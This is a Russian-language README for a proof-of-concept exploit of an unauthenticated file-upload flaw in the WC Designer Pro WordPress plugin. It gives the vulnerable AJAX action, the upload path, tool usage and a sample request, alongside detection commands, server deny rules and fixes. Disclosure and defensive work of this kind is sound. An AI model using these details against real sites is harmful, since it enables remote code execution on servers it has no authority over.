
Эксплойт для удаленного выполнения кода без аутентификации для плагина WC Designer Pro WordPress. Автоматизирует обнаружение, загрузку файлов и получение доступа к оболочке через уязвимую конечную точку AJAX.
WC Designer Pro содержит неавторизованную уязвимость произвольной загрузки файлов в AJAX-действии, доступном через конечную точку WordPress admin-ajax.php.
Обработчик обрабатывает управляемые пользователем метаданные файла и содержимое файла без обеспечения надлежащей аутентификации, авторизации, проверки расширений, проверки MIME-типов или ограничений на имена файлов на стороне сервера.
При уязвимых конфигурациях неавторизованный злоумышленник может загрузить исполняемый сервером файл в каталог, доступный через веб. Успешная эксплуатация может привести к удалённому выполнению кода с правами процесса веб-сервера.
| Свойство | Значение |
|---|---|
| Продукт | WC Designer Pro |
| Платформа | WordPress |
| Класс уязвимости | Неограниченная произвольная загрузка файлов |
| CWE | CWE-434 |
| Требуется аутентификация | Нет |
| Требуется взаимодействие с пользователем | Нет |
| Потенциальное воздействие | Удалённое выполнение кода |
| Сложность атаки | Низкая |
| Уязвимый компонент | Обработчик загрузки AJAX WordPress |
| AJAX-действие | wcdp_save_canvas_design_ajax |
Точный диапазон затронутых версий, идентификатор CVE и оценка CVSS должны публиковаться только после их независимой проверки.
Успешная эксплуатация может позволить неавторизованному злоумышленнику:
Конечное воздействие зависит от конфигурации веб-сервера, правил выполнения PHP, прав на файловую систему и средств контроля безопасности, развёрнутых хостинг-провайдером.
Диапазон затронутых версий в настоящее время проверяется.
Продукт: WC Designer Pro
Затронутые версии: Будут подтверждены
Исправленная версия: Будет подтверждена
Статус исправления: Будет подтверждён
Не утверждайте, что затронуты все версии, если тестирование или подтверждение вендора не поддерживает такой вывод.
Уязвимый поток загрузки, по-видимому, доверяет управляемым злоумышленником значениям, передаваемым в следующее AJAX-действие:
wcdp_save_canvas_design_ajax
Запрос содержит метаданные файла, такие как:
Уязвимость существует, когда сервер принимает эти значения без выполнения всех следующих проверок:
Неавторизованный запрос
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Недостаточная проверка загруженного файла
│
▼
Файл записывается в каталог, доступный через веб
│
▼
Потенциальное выполнение серверного кода
Наблюдаемый путь загрузки следует этой структуре:
/wp-content/uploads/wcdp-uploads/temp/{идентификатор}/{имя_файла}
Точный путь может отличаться в зависимости от версии плагина, конфигурации WordPress и серверной среды.
pipЭто доказательство концепции не должно использоваться против сторонних систем без явного письменного разрешения.
Клонируйте репозиторий:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
Создайте и активируйте виртуальную среду:
python3 -m venv .venv
source .venv/bin/activate
В Windows:
python -m venv .venv
.venv\Scripts\Activate.ps1
Установите зависимости:
pip install -r requirements.txt
Пример requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
Доказательство концепции должно выполняться только против одной авторизованной лабораторной цели.
python3 exploit.py --url https://wordpress-lab.example
Для неконструктивной проверки:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
Пример файла проверки:
Проверка безопасности WC Designer Pro
Исследователь: m2hcz
Цель: Авторизованное неконструктивное тестирование
Используйте встроенную команду справки для просмотра поддерживаемых аргументов:
python3 exploit.py --help
Пример вывода:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
Запрос вызывает:
action=wcdp_save_canvas_design_ajax
Упрощённая структура запроса показана ниже:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Авторизованная проверка безопасности
------Boundary--
В этом примере намеренно используется неисполняемый текстовый файл.
Успешный запрос может вернуть ответ, похожий на:
{
"userID": false,
"filesCMYK": [],
"success": true
}
Успешный ответ сам по себе не доказывает удалённое выполнение кода. Исследователь должен отдельно подтвердить, что:
Рекомендуемая процедура проверки:
.txt.Избегайте загрузки веб-шеллов или полезных нагрузок выполнения команд, когда безвредного файла-маркера достаточно для демонстрации уязвимости.
Действительный отчёт должен содержать:
Администраторы должны проверить следующий каталог:
/wp-content/uploads/wcdp-uploads/temp/
Потенциальные индикаторы включают:
.php, .phtml, .phar или аналогичные исполняемые файлы.admin-ajax.php с использованием затронутого AJAX-действия.Пример поиска по журналам:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
Пример поиска по файловой системе:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
Администраторы сайтов должны:
Для Nginx запретите выполнение PHP в каталоге загрузок:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Для Apache поместите соответствующее правило в каталог загрузок:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
Эти меры контроля являются эшелонированной защитой и не заменяют исправление уязвимого кода плагина.
Поддерживающие плагин должны:
current_user_can().wp_check_filetype_and_ext().Этот репозиторий предназначен исключительно для:
Не используйте этот код для доступа, изменения, нарушения работы или компрометации систем без явного разрешения.
Автор не несёт ответственности за несанкционированное, незаконное или злонамеренное использование этого материала. Пользователи несут единоличную ответственность за соблюдение применимых законов, контрактов, правил взаимодействия и требований скоординированного раскрытия уязвимостей.
Дата обнаружения: Будет добавлена
Вендор уведомлён: Будет добавлено
Ответ вендора: Будет добавлен
Выпущено исправление: Будет добавлено
Запрошен CVE: Будет добавлено
Назначен CVE: Будет добавлено
Публичное раскрытие: Будет добавлено
Не публикуйте заполнитель CVE как будто это назначенный идентификатор.
Когда CVE будет назначен, замените заполнитель официальной записью:
CVE: CVE-YYYY-NNNNN
CVSS: Официальная или задокументированная оценка исследователя
Исследования в области безопасности должны снижать риск, а не создавать его.
Создано для авторизованного тестирования безопасности m2hcz.